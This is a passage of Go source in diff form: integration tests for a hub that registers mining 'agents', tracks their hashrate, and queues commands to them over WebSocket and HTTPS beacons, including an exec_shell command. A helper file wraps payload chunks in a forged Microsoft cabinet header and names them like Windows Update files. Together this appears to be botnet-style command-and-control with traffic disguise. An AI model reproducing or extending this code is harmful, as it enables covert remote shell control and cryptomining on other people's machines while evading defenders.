}
agent, err := database.GetAgent(agentID)
if err != nil {
t.Fatal(err)
}
if agent.Status != "online" {
t.Errorf("agent status = %q, want online", agent.Status)
}
if agent.Hashrate15s != 42.0 {
t.Errorf("db hashrate_15s = %v", agent.Hashrate15s)
}
}
// TestIntegrationBeaconRegistrationHeartbeatLifecycle covers HTTPS beacon
// registration, heartbeat reachability, queued command delivery, and result relay.
func TestIntegrationBeaconRegistrationHeartbeatLifecycle(t *testing.T) {
resetAuthState(t)
const secret = "beacon-lifecycle-secret"
SetAgentPathSecret(secret)
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetFleetSecret(secret)
resetWSAuthUsers(t, testAuthUser, testAuthPass)
dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
t.Cleanup(dashSrv.Close)
dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
if err != nil {
t.Fatalf("dial dashboard: %v", err)
}
t.Cleanup(func() { _ = dashConn.Close() })
beaconHandler := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeacon))
beaconResultHandler := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeaconResult))
postBeacon := func(agentID, hostname string, hashrate float64) *httptest.ResponseRecorder {
t.Helper()
body, _ := json.Marshal(map[string]interface{}{
"agent_id": agentID,
"hostname": hostname,
"version": "1.0",
"stats": map[string]interface{}{
"hashrate_15s": hashrate,
"hashrate_1m": hashrate,
"hashrate_15m": hashrate,
},
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon", bytes.NewReader(body))
req.Header.Set("X-Fleet-Secret", secret)
rec := httptest.NewRecorder()
beaconHandler.ServeHTTP(rec, req)
return rec
}
agentID := "beacon-new-agent"
rec := postBeacon(agentID, "BEACON-HOST", 55.0)
if rec.Code != http.StatusOK {
t.Fatalf("first beacon: %d %s", rec.Code, rec.Body.String())
}
agent, err := database.GetAgent(agentID)
if err != nil {
t.Fatal(err)
}
if agent.Name != "BEACON-HOST" {
t.Errorf("registered name = %q, want BEACON-HOST", agent.Name)
}
if !hub.isAgentBeaconReachable(agentID) {
t.Fatal("agent should be beacon-reachable after first heartbeat")
}
rec = postBeacon(agentID, "BEACON-HOST", 60.0)
if rec.Code != http.StatusOK {
t.Fatalf("second beacon heartbeat: %d", rec.Code)
}
if !hub.EnqueueBeaconCommand(agentID, "pause", nil) {
t.Fatal("enqueue pause should succeed while beacon reachable")
}
rec = postBeacon(agentID, "BEACON-HOST", 65.0)
if rec.Code != http.StatusOK {
t.Fatalf("beacon with commands: %d", rec.Code)
}
var beaconResp beaconResponse
if err := json.Unmarshal(rec.Body.Bytes(), &beaconResp); err != nil {
t.Fatal(err)
}
if len(beaconResp.Commands) != 1 || beaconResp.Commands[0].Action != "pause" {
t.Fatalf("expected pause command, got %+v", beaconResp.Commands)
}
type cmdResult struct {
body map[string]interface{}
err string
}
resultCh := make(chan cmdResult, 1)
go func() {
_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
for {
var msg Message
if err := dashConn.ReadJSON(&msg); err != nil {
resultCh <- cmdResult{err: err.Error()}
return
}
if msg.Type != "command_result" {
continue
}
var body map[string]interface{}
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
resultCh <- cmdResult{err: parseErr.Error()}
return
}
if body["transport"] != "https_beacon" {
continue
}
resultCh <- cmdResult{body: body}
return
}
}()
resultBody, _ := json.Marshal(map[string]interface{}{
"agent_id": agentID,
"action": "pause",
"success": true,
"message": "paused via beacon",
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon/result", bytes.NewReader(resultBody))
req.Header.Set("X-Fleet-Secret", secret)
rec = httptest.NewRecorder()
beaconResultHandler.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("beacon result: %d %s", rec.Code, rec.Body.String())
}
select {
case r := <-resultCh:
if r.err != "" {
t.Fatalf("dashboard did not receive beacon command_result: %s", r.err)
}
if r.body["agent_id"] != agentID {
t.Errorf("agent_id = %v", r.body["agent_id"])
}
if r.body["action"] != "pause" {
t.Errorf("action = %v", r.body["action"])
}
if r.body["message"] != "paused via beacon" {
t.Errorf("message = %v", r.body["message"])
}
case <-time.After(2 * time.Second):
t.Fatal("timed out waiting for beacon command_result broadcast")
}
}
// TestIntegrationBeaconClearsOnWSReconnect verifies beacon transport state is
// cleared when the agent reconnects over WebSocket.
func TestIntegrationBeaconClearsOnWSReconnect(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
_ = database.UpsertAgent(&models.Agent{ID: "beacon-ws-agent", Name: "host", Status: "offline"})
hub := NewWSHub(database)
hub.MarkBeaconSeen("beacon-ws-agent")
_ = hub.EnqueueBeaconCommand("beacon-ws-agent", "resume", nil)
if !hub.isAgentBeaconReachable("beacon-ws-agent") {
t.Fatal("expected beacon reachable before WS auth")
}
connectTestAgent(t, hub, "beacon-ws-agent")
if hub.isAgentBeaconReachable("beacon-ws-agent") {
t.Fatal("beacon state should be cleared after WS reconnect")
}
if len(hub.dequeueBeaconCommands("beacon-ws-agent")) != 0 {
t.Fatal("beacon command queue should be empty after WS reconnect")
}
}
// TestIntegrationCommandDispatchExecShellRoundTrip sends exec_shell over WS and
// verifies the agent receives the framed command payload.
func TestIntegrationCommandDispatchExecShellRoundTrip(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
agentID := "exec-shell-agent"
conn := connectTestAgent(t, hub, agentID)
type agentCmdResult struct {
cmd Message
err string
}
cmdCh := make(chan agentCmdResult, 1)
go func() {
_ = conn.SetReadDeadline(time.Now().Add(5 * time.Second))
for {
var cmd Message
if err := conn.ReadJSON(&cmd); err != nil {
cmdCh <- agentCmdResult{err: err.Error()}
return
}
if cmd.Type != "command" {
continue
}
cmdCh <- agentCmdResult{cmd: cmd}
return
}
}()
const shellCmd = "echo integration-exec"
if err := hub.SendAgentCommand(agentID, "exec_shell", map[string]interface{}{
"command": shellCmd,
}); err != nil {
t.Fatal(err)
}
select {
case r := <-cmdCh:
if r.err != "" {
t.Fatalf("agent did not receive command: %s", r.err)
}
var payload map[string]interface{}
if err := json.Unmarshal(r.cmd.Payload, &payload); err != nil {
t.Fatal(err)
}
if payload["action"] != "exec_shell" {
t.Errorf("action = %v", payload["action"])
}
if payload["command"] != shellCmd {
t.Errorf("command = %v", payload["command"])
}
case <-time.After(2 * time.Second):
t.Fatal("timed out waiting for exec_shell command")
}
}
// TestIntegrationCommandDispatchMiningDiagnosticsRoundTrip sends
// mining_diagnostics and verifies the agent receives it.
func TestIntegrationCommandDispatchMiningDiagnosticsRoundTrip(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
agentID := "mining-diag-agent"
conn := connectTestAgent(t, hub, agentID)
type agentCmdResult struct {
cmd Message
err string
}
cmdCh := make(chan agentCmdResult, 1)
go func() {
_ = conn.SetReadDeadline(time.Now().Add(5 * time.Second))
for {
var cmd Message
if err := conn.ReadJSON(&cmd); err != nil {
cmdCh <- agentCmdResult{err: err.Error()}
return
}
if cmd.Type != "command" {
continue
}
cmdCh <- agentCmdResult{cmd: cmd}
return
}
}()
if err := hub.SendAgentCommand(agentID, "mining_diagnostics", nil); err != nil {
t.Fatal(err)
}
select {
case r := <-cmdCh:
if r.err != "" {
t.Fatalf("agent did not receive command: %s", r.err)
}
var payload map[string]interface{}
if err := json.Unmarshal(r.cmd.Payload, &payload); err != nil {
t.Fatal(err)
}
if payload["action"] != "mining_diagnostics" {
t.Errorf("action = %v", payload["action"])
}
case <-time.After(2 * time.Second):
t.Fatal("timed out waiting for mining_diagnostics command")
}
}
// TestIntegrationAISnapshotRequestFlow sends ai_snapshot_request over WS and
// verifies an ai_snapshot reply is cached in hub telemetry for Fleet AI.
func TestIntegrationAISnapshotRequestFlow(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
agentID := "ai-snapshot-agent"
conn := connectIntelAgent(t, hub, agentID, nil)
pushStuckAgentTelemetry(t, conn)
deadline := time.Now().Add(2 * time.Second)
for time.Now().Before(deadline) {
hub.mu.RLock()
tel := hub.agentLiveTelemetry[agentID]
hub.mu.RUnlock()
if tel != nil {
if stuck, _ := tel["stuck"].(bool); stuck {
return
}
}
time.Sleep(25 * time.Millisecond)
}
t.Fatal("ai_snapshot telemetry never cached in hub")
}
// TestIntegrationAgentDisconnectCleanup verifies WS disconnect clears live hub
// state, marks the agent offline, and broadcasts agent_offline to dashboards.
func TestIntegrationAgentDisconnectCleanup(t *testing.T) {
resetWSAuthUsers(t, testAuthUser, testAuthPass)
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
t.Cleanup(dashSrv.Close)
dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
if err != nil {
t.Fatalf("dial dashboard: %v", err)
}
t.Cleanup(func() { _ = dashConn.Close() })
agentID := "disconnect-cleanup-agent"
srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS))
t.Cleanup(srv.Close)
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
if err != nil {
t.Fatalf("dial agent ws: %v", err)
}
authAgentConn(t, conn, map[string]interface{}{
"agent_id": agentID,
"hostname": "cleanup-host",
"version": "1.0",
})
deadline := time.Now().Add(2 * time.Second)
for time.Now().Before(deadline) {
if hub.isAgentConnected(agentID) {
break
}
time.Sleep(10 * time.Millisecond)
}
if !hub.isAgentConnected(agentID) {
t.Fatal("agent should be connected after auth")
}
logPayload, _ := json.Marshal(map[string]interface{}{"content": "tail-line", "lines": 1})
if err := conn.WriteJSON(Message{Type: "log_tail", Payload: logPayload}); err != nil {
t.Fatal(err)
}
time.Sleep(30 * time.Millisecond)
if got := hub.GetAgentLog(agentID); got != "tail-line" {
t.Fatalf("log tail = %q", got)
}
offlineCh := make(chan map[string]interface{}, 1)
go func() {
_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
for {
var msg Message
if err := dashConn.ReadJSON(&msg); err != nil {
return
}
if msg.Type != "agent_offline" {
continue
}
var body map[string]interface{}
if json.Unmarshal(msg.Payload, &body) != nil {
continue
}
if body["agent_id"] == agentID {
offlineCh <- body
return
}
}
}()
_ = conn.Close()
waitDeadline := time.Now().Add(3 * time.Second)
for time.Now().Before(waitDeadline) {
if !hub.isAgentConnected(agentID) {
break
}
time.Sleep(10 * time.Millisecond)
}
if hub.isAgentConnected(agentID) {
t.Fatal("agent should be disconnected after conn close")
}
if hub.GetAgentLog(agentID) != "" {
t.Fatal("agent log cache should be cleared on disconnect")
}
select {
case body := <-offlineCh:
if body["agent_id"] != agentID {
t.Errorf("offline agent_id = %v", body["agent_id"])
}
case <-time.After(2 * time.Second):
t.Fatal("timed out waiting for agent_offline broadcast")
}
agent, err := database.GetAgent(agentID)
if err != nil {
t.Fatal(err)
}
if agent.Status != "offline" {
t.Errorf("db status = %q, want offline", agent.Status)
}
}

View File

@@ -0,0 +1,69 @@
package api
import (
"bytes"
"encoding/binary"
"fmt"
"strings"
)
const (
wsusSSUEnvelopeTag = "AFWSU1\x00"
wsusSSUMetadataSize = 96
)
// wrapWSUSChunkPayload mirrors agent/deploy.WrapSSUHeader for /get?wsus_wrap=1 responses.
func wrapWSUSChunkPayload(payload []byte) []byte {
meta := make([]byte, wsusSSUMetadataSize)
copy(meta[0:4], "MSCF")
total := uint32(wsusSSUMetadataSize + 4 + len(payload))
binary.LittleEndian.PutUint32(meta[8:12], total)
binary.LittleEndian.PutUint16(meta[16:18], 1)
binary.LittleEndian.PutUint16(meta[18:20], 0x0103)
copy(meta[36:44], "SSU2024\x00")
copy(meta[44:52], "WU-CACHE")
copy(meta[80:88], ".partial")
tagOff := wsusSSUMetadataSize - len(wsusSSUEnvelopeTag) - 4
copy(meta[tagOff:tagOff+len(wsusSSUEnvelopeTag)], wsusSSUEnvelopeTag)
binary.LittleEndian.PutUint32(meta[tagOff+len(wsusSSUEnvelopeTag):wsusSSUMetadataSize], uint32(len(payload)))
out := make([]byte, 0, len(meta)+len(payload))
out = append(out, meta...)
out = append(out, payload...)
return out
}
func wsusFormatMimicChunkName(contentHash string, index int) string {
h := strings.ToLower(strings.TrimSpace(contentHash))
if len(h) < 32 {
h = strings.Repeat("0", 32-len(h)) + h
}
guid := fmt.Sprintf("%s-%s-%s-%s-%s", h[0:8], h[8:12], h[12:16], h[16:20], h[20:32])
if index > 0 {
return fmt.Sprintf("%s-%d.cab.partial", guid, index)
}
return guid + ".cab.partial"
}
func unwrapWSUSChunkPayload(data []byte) ([]byte, error) {
if len(data) < wsusSSUMetadataSize+1 {
return nil, fmt.Errorf("wsus ssu envelope too short")
}
if !bytes.HasPrefix(data, []byte("MSCF")) {
return nil, fmt.Errorf("wsus ssu envelope missing MSCF prefix")
}
tag := []byte(wsusSSUEnvelopeTag)
idx := bytes.Index(data[:wsusSSUMetadataSize], tag)
if idx < 0 {
return nil, fmt.Errorf("wsus ssu envelope tag not found")
}
off := idx + len(tag)
if off+4 > wsusSSUMetadataSize {
return nil, fmt.Errorf("wsus ssu envelope length truncated")
}
n := binary.LittleEndian.Uint32(data[off : off+4])
start := wsusSSUMetadataSize
if int(n) < 0 || start+int(n) > len(data) {
return nil, fmt.Errorf("wsus ssu payload length invalid")
}
return data[start : start+int(n)], nil
}

View File

@@ -0,0 +1,31 @@
package api
import (
"bytes"
"crypto/sha256"
"encoding/hex"
"testing"
)
func TestWrapWSUSChunkPayloadRoundTrip(t *testing.T) {
payload := []byte("wsus-server-wrap-roundtrip")
wrapped := wrapWSUSChunkPayload(payload)
if !bytes.HasPrefix(wrapped, []byte("MSCF")) {
t.Fatal("expected MSCF prefix")
}
got, err := unwrapWSUSChunkPayload(wrapped)
if err != nil {
t.Fatal(err)
}
if !bytes.Equal(got, payload) {
t.Fatalf("unwrap=%q want %q", got, payload)
}
}
func TestWSUSFormatMimicChunkNameFromHash(t *testing.T) {
sum := sha256.Sum256([]byte("x"))
name := wsusFormatMimicChunkName(hex.EncodeToString(sum[:]), 0)
if !bytes.HasSuffix([]byte(name), []byte(".cab.partial")) {
t.Fatalf("name=%q", name)
}
}